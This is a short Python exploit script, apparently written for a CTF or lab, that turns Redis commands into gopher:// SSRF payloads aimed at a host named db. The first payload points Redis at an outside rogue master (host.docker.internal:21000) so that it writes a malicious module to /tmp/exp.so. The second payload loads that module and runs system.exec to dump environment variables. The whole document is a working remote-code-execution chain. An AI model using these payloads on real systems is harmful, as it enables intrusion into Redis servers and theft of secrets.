import requests import re def urlencode(data): enc_data = '' for i in data: h = str(hex(ord(i))).replace('0x', '') if len(h) == 1: enc_data += '%0' + h.upper() else: enc_data += '%' + h.upper() return enc_data def gen_payload(payload): redis_payload = '' for i in payload.split('\n'): arg_num = '*' + str(len(i.split(' '))) redis_payload += arg_num + '\r\n' for j in i.split(' '): arg_len = '$' + str(len(j)) redis_payload += arg_len + '\r\n' redis_payload += j + '\r\n' gopher_payload = 'gopher://db:6379/_' + urlencode(redis_payload) return gopher_payload
payload1 = ''' slaveof host.docker.internal 21000 config set dir /tmp config set dbfilename exp.so quit ''' payload2 = '''slaveof no one module load /tmp/exp.so system.exec 'env' quit ''' print(gen_payload(payload1)) print(gen_payload(payload2))
|